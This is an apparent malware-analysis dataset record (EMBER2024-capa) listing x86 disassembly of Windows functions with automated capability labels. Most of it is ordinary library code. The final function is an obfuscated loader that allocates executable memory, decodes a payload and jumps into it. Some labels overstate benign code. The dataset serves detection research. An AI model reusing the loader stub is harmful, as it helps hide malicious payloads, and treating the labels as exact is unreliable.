joyce8/EMBER2024-capa huggingface dataset:
Function at 0x555f70
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
test ebp, ebp
push edi
mov esi, ecx
jne 0x555f87
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 0xc
mov eax, dword [0x7c8484]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x556070
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x555fd8
mov eax, dword [esi]
push 0
mov ecx, esi
call dword [eax + 4]
mov edi, eax
test edi, edi
jne 0x555fb5
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
push ebp
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
mov dword [esi + 0x10], eax
push edi
je 0x55605e
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 0xc
mov ebx, dword [esp + 0x1c]
mov edx, dword [esi]
test ebx, ebx
push 0x2001f
push ebp
mov ecx, esi
jne 0x55601d
call dword [edx + 8]
mov edi, eax
test edi, edi
jne 0x555ffa
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
mov eax, dword [esp + 0x18]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
mov dword [esi + 0x10], eax
push edi
je 0x55605e
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 0xc
call dword [edx + 8]
mov edi, eax
test edi, edi
jne 0x55602d
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
mov eax, dword [esp + 0x1c]
push ebx
push 1
push 0
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
mov dword [esi + 0x10], eax
push edi
je 0x55605e
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 0xc
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 0xc
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push eax
push ecx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x556090
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x611596
push eax
mov eax, 0x1014
mov dword fs:[0], esp
call fcn.00475ae0
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov ecx, dword [0x7c8484]
mov dword [esp + 0x1c], ebx
cmp dword [ecx - 8], ebx
jne 0x5561b9
mov ecx, dword [esp + 0x1038]
mov eax, dword [edi]
push 0x20019
push ecx
mov ecx, edi
call dword [eax + 8]
mov esi, eax
mov dword [esp + 0x20], esi
cmp esi, ebx
mov dword [esp + 0x102c], ebx
jne 0x5560fc
mov edx, dword [esp + 0x1040]
push edx
jmp 0x5561f4
mov eax, dword [0x7815b4]
mov dword [esp + 0x14], eax
mov ebp, dword [esp + 0x103c]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push ebx
push edx
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebp
push esi
mov byte [esp + 0x1044], 1
call ebx
test eax, eax
mov dword [edi + 0x10], eax
je 0x556166
mov eax, dword [esp + 0x1040]
push eax
mov edi, dword [esp + 0x1038]
mov ecx, edi
call fcn.005e37be
lea ecx, [esp + 0x14]
mov byte [esp + 0x102c], 0
call fcn.005e3750
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x556204
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x18]
push ecx
push edx
lea ecx, [esp + 0x1c]
call fcn.005e3b80
push eax
lea eax, [esp + 0x24]
push eax
push 0
push ebp
push esi
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
mov dword [edi + 0x10], eax
call fcn.005e3bcf
mov eax, dword [edi + 0x10]
test eax, eax
je 0x5561a4
mov ecx, dword [esp + 0x1040]
push ecx
jmp 0x556139
mov edi, dword [esp + 0x1034]
lea edx, [esp + 0x14]
push edx
mov ecx, edi
call fcn.005e34c5
jmp 0x556147
mov eax, dword [esp + 0x1040]
mov byte [esp + 0x13], 0
cmp eax, ebx
jne 0x5561cd
lea eax, [esp + 0x13]
mov edx, dword [esp + 0x103c]
push ecx
lea ecx, [esp + 0x28]
push 0x1000
push ecx
push eax
mov eax, dword [esp + 0x1048]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [esp + 0x24]
push ecx
mov esi, dword [esp + 0x1038]
mov ecx, esi
call fcn.005e37be
mov eax, esi
mov ecx, dword [esp + 0x1024]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1020
ret 0x10
Function at 0x55e350
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x611fe8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push esi
mov esi, ecx
push 1
lea ecx, [esp + 8]
call fcn.0055bb00
mov ecx, dword [esp + 0x48]
lea eax, [esp + 4]
push 0
push eax
mov eax, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x48]
sub esp, 0x10
mov edx, esp
mov dword [esp + 0x4c], 0
mov dword [edx], eax
mov eax, dword [esp + 0x5c]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x60]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
mov ecx, esi
call fcn.0055e520
lea ecx, [esp + 4]
mov dword [esp + 0x30], 0xffffffff
call fcn.0055b440
mov ecx, dword [esp + 0x28]
pop esi
mov dword fs:[0], ecx
add esp, 0x30
ret 0x14

Function at 0x55fc30
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x6122f8
push eax
mov eax, dword [0x7c85d0]
mov dword fs:[0], esp
sub esp, 0x30
push esi
push edi
mov esi, ecx
push eax
call fcn.0055b700
xor edi, edi
cmp eax, edi
je 0x55fc9a
cmp dword [eax + 0x14], 2
jne 0x55fc9a
mov edx, dword [esp + 0x48]
mov eax, dword [esp + 0x4c]
lea ecx, [esi + 0x50]
mov dword [esi + 0x70], edi
mov dword [esi + 0x74], edi
mov dword [ecx], edx
mov edx, dword [esp + 0x50]
mov dword [ecx + 4], eax
mov eax, dword [esp + 0x54]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], eax
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop edi
pop esi
add esp, 0x3c
ret 0x10
cmp dword [esi + 0x64], edi
je 0x55fce3
mov eax, dword [esi + 0x18]
lea ecx, [esp + 8]
push eax
call fcn.0055e0a0
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0x4c]
mov edx, dword [esp + 0x48]
sub eax, ecx
mov ecx, dword [esp + 0x50]
push eax
sub ecx, edx
mov dword [esp + 0x44], edi
push ecx
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call fcn.0055fda0
lea ecx, [esp + 8]
mov dword [esp + 0x40], 0xffffffff
call fcn.0055e1a0
cmp dword [esi + 0x70], edi
jne 0x55fd00
cmp dword [esi + 0x74], edi
jne 0x55fd00
lea edx, [esi + 0x50]
lea eax, [esp + 0x48]
push edx
push eax
call dword [sym.imp.USER32.dll_EqualRect]
test eax, eax
jne 0x55fd3e
mov ecx, dword [esp + 0x48]
sub esp, 0x10
mov eax, esp
mov edx, dword [esi]
mov dword [esi + 0x74], edi
mov dword [esi + 0x78], 1
mov dword [eax], ecx
mov ecx, dword [esp + 0x5c]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x60]
mov dword [eax + 8], ecx
mov ecx, dword [esp + 0x64]
mov dword [eax + 0xc], ecx
mov ecx, esi
call dword [edx + 0x90]
mov ecx, esi
mov dword [esi + 0x78], edi
call fcn.0055f6f0
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
lea edx, [esi + 0x50]
mov dword [esi + 0x70], edi
pop edi
pop esi
mov dword [edx], eax
mov eax, dword [esp + 0x48]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x4c]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
add esp, 0x3c
ret 0x10
Function at 0x57ed50
Capabilities:
Log keystrokes via polling

Disassembly:
push ecx
push esi
mov esi, dword [ecx + 0x100]
test esi, esi
push edi
mov dword [esp + 8], ecx
je 0x57edea
mov eax, dword [esp + 0x10]
mov edi, dword [esi + 0x34]
shr eax, 8
cmp al, 2
jne 0x57edea
test edi, edi
je 0x57edea
push ebx
mov ebx, dword [esp + 0x1c]
push ebp
mov ebp, dword [esp + 0x1c]
push ebx
lea ecx, [esi + 4]
push ebp
push ecx
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
jne 0x57ed96
mov eax, dword [edi + 0x2c]
jmp 0x57edbb
mov edx, dword [esi + 0x34]
mov ecx, ebx
mov eax, dword [edx + 0x58]
test eax, eax
jne 0x57eda4
mov ecx, ebp
mov eax, dword [esi + 0x1c]
add eax, ecx
mov ecx, dword [edi + 0x40]
cmp eax, ecx
jl 0x57edb9
mov edx, dword [edi + 0x3c]
add ecx, edx
cmp eax, ecx
jl 0x57edbb
mov eax, ecx
mov esi, dword [esp + 0x10]
push eax
mov ecx, esi
call fcn.0057ecd0
mov eax, dword [esp + 0x18]
pop ebp
cmp eax, 0x202
pop ebx
je 0x57ede1
push 1
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jl 0x57edea
push 0
mov ecx, esi
call fcn.0057ebc0
pop edi
pop esi
pop ecx
ret 0xc

Function at 0x585950
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x613d98
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
mov ebx, ecx
push esi
mov dword [esp + 0xc], ebx
call fcn.0055b400
mov ebp, dword [esp + 0x28]
lea eax, [ebx + 0x20]
xor esi, esi
push eax
mov dword [esp + 0x1c], esi
mov dword [ebx], 0x662000
mov dword [ebx + 0x18], ebp
mov dword [ebx + 0x14], esi
mov dword [ebx + 0x1c], esi
mov dword [ebx + 0x30], esi
mov dword [ebx + 0x34], esi
call dword [sym.imp.USER32.dll_SetRectEmpty]
cmp ebp, esi
jle 0x5859eb
lea esi, [ebp*8]
push edi
push esi
call fcn.005dec8c
mov ecx, esi
mov esi, dword [esp + 0x28]
mov edx, ecx
mov edi, eax
shr ecx, 2
mov dword [ebx + 0x14], eax
push ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.005dec8c
mov esi, dword [esp + 0x30]
mov ecx, ebp
mov dword [ebx + 0x1c], eax
mov edi, eax
mov eax, ecx
add esp, 8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov ecx, ebx
call fcn.00585a10
mov ecx, dword [esp + 0x10]
pop esi
mov eax, ebx
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc

Function at 0x594390
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x61542f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [0x7815b4]
push esi
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x28], 1
call fcn.005dbdfb
mov esi, dword [esp + 0x30]
add esp, 0x14
lea eax, [esp + 4]
mov ecx, esi
push eax
call fcn.005e34c5
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x14], 0
call fcn.005e3750
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x5a53a0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x5a53d0
push esi
call fcn.005a9230
mov al, byte [esi + 0x40]
add esp, 4
test al, al
je 0x5a53c9
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x5a5453
mov eax, dword [esi + 0x190]
mov cl, byte [eax + 0x10]
test cl, cl
je 0x5a543f
mov eax, dword [esi + 8]
test eax, eax
je 0x5a53f4
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x190]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x5a543b
cmp eax, 2
je 0x5a543f
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x5a53e7
cmp eax, 3
je 0x5a541a
cmp eax, 1
jne 0x5a53e7
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x5a53e7
mov edx, dword [esi + 0x11c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x5a53e7
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
push esi
mov dword [esi + 0x84], eax
call fcn.005a5480
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x5a5473
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x14
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
call dword [ecx]
add esp, 4
push esi
call fcn.005a5480
add esp, 4
pop esi
ret
Function at 0x5d89d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00475ae0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x5d8a9b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x5d8a9b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x5d8a4e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x5d8a59
or bh, 8
and edi, 0x8000000
je 0x5d8a74
mov eax, dword [0x80a47c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x5d8a9b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5d8e70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x5d8e9b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x5d8ebf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x5d8eda
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x5dee9a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x5deebc
cmp dword [edi + 0x3c], 0
jne 0x5deebc
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.005f9649
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.005deee9
pop edi
pop esi
pop ebx
ret 8

Function at 0x5def37
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.005f9649
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x5def68
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.005def7b
pop edi
pop esi
pop ebx
ret 8

Function at 0x5e05b7
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x5e05ef
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.005e3bf7
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.005e3bcf
jmp 0x5e05fb
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x5e05ff
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
push 0x7c6b30
mov ecx, edi
call fcn.005e38d9
cmp dword [esi + 0x34], 0
push dword [esp + 0xc]
jne 0x5e0652
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
test esi, esi
je 0x5e0665
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, edi
call fcn.005e3bf7
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, edi
call fcn.005e3bcf
jmp 0x5e0665
mov ecx, esi
call fcn.005e306c
test eax, eax
je 0x5e0665
push edi
mov ecx, eax
call fcn.005e05b7
mov eax, dword [edi]
pop edi
pop esi
mov eax, dword [eax - 8]
ret 8

Function at 0x5e22b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x5e22f2
call fcn.005f9649
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x5e22f2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x5e22e9
xor eax, eax
jmp 0x5e22fa
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.005e2300
pop edi
pop esi
pop ebx
ret 4
Function at 0x5f8229
Capabilities:
Create http request

Disassembly:
mov eax, 0x605f5c
call fcn.00474a88
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x5f8261
call fcn.005f9649
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x5f8286
push eax
push dword [esi + 4]
call fcn.005f8ea8
jmp 0x5f8292
push esi
push eax
mov ecx, 0x7c6e80
call fcn.005f82a3
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x5f8554
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
mov eax, 0x605fbb
call fcn.00474a88
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.005e6b89
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [0x7815b4]
xor edi, edi
mov dword [ebx], eax
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
mov dword [esi], vtable.CInternetFile.0
call fcn.005e38d9
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.005e38d9
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x5fb22e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 8], ecx
call fcn.005f9649
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x5fb26b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x5fb26b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x5fb26f
xor eax, eax
jmp 0x5fb2ed
movzx eax, word [esi + 6]
push ebx
push edi
shl eax, 2
push eax
call fcn.005dec8c
and dword [ebp - 4], 0
cmp word [esi + 6], 0
pop ecx
mov ebx, eax
jbe 0x5fb2a7
mov ecx, ebx
lea eax, [esi + 8]
movzx edx, word [eax]
inc dword [ebp - 4]
mov dword [ecx], edx
movzx edx, word [esi + 6]
inc eax
add ecx, 4
inc eax
cmp dword [ebp - 4], edx
jl 0x5fb291
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 8]
push eax
push ebx
call fcn.005fb3de
push ebx
mov edi, eax
call fcn.005decb5
test edi, edi
pop ecx
je 0x5fb2e9
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
lea esi, [ecx + 7]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [eax + 7]
push eax
push esi
push edx
call fcn.005fb1a7
push dword [ebp + 8]
mov ecx, dword [ebp - 8]
call fcn.005fb2f2
mov edi, eax
mov eax, edi
pop edi
pop ebx
pop esi
leave
ret 4

Function at 0x5fbb67
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x5fbb95
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x5fbbb3
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.005fbacd
jmp 0x5fbbb3
mov eax, dword [esi + 0x14]
test eax, eax
je 0x5fbbb3
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.005fbacd
test edi, edi
mov eax, edi
jne 0x5fbb9d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x100092b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100092bf
pop dword [ebp - 0x10]
mov eax, 0x100092bf
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x9f165f90
add dword [ebp - 0x20], 0xaf3be5bb
mov dword [ebp - 0x1c], 0xeb8b728c
add dword [ebp - 0x1c], 0x46a7d9b9
mov dword [ebp - 0x18], 0x8f80ac01
sub dword [ebp - 0x18], 0x433467d3
mov dword [ebp - 0x14], 0xece11e7d
add dword [ebp - 0x14], 0x131ee183
lea eax, [ebp - 0x20]
push eax
mov eax, 0x91f6661d
add eax, 0x7e0ada33
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x3b9364e1
add dword [ebp - 0x20], 0x38df0475
mov dword [ebp - 0x1c], 0xc374fdc6
sub dword [ebp - 0x1c], 0x82089c51
mov dword [ebp - 0x18], 0xd24bc02b
add dword [ebp - 0x18], 0x9123ac41
mov dword [ebp - 0x14], 0xb3bda3ab
sub dword [ebp - 0x14], 0xb3bda3ab
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x4514a641
add eax, 0xcaec9a13
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x380e1
push 0
call eax
mov ecx, 0xa6db679
sub ecx, 0xa6d764c
mov edx, eax
mov edi, 0xbe975101
sub edi, 0xae956f01
add edi, dword [ebp - 0x10]
mov esi, 0xd62ed4f1
add esi, 0xbf43d363
mov ebx, dword [edi]
xor dword [ebp - 0xc], ebx
add ebx, esi
mov dword [edx], ebx
mov dword [ebp - 8], 0x5ba6053b
add edx, 0x73c1536
add edx, 0xf8c3eace
add edi, 4
loop 0x100093dc
add eax, 0xf387
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret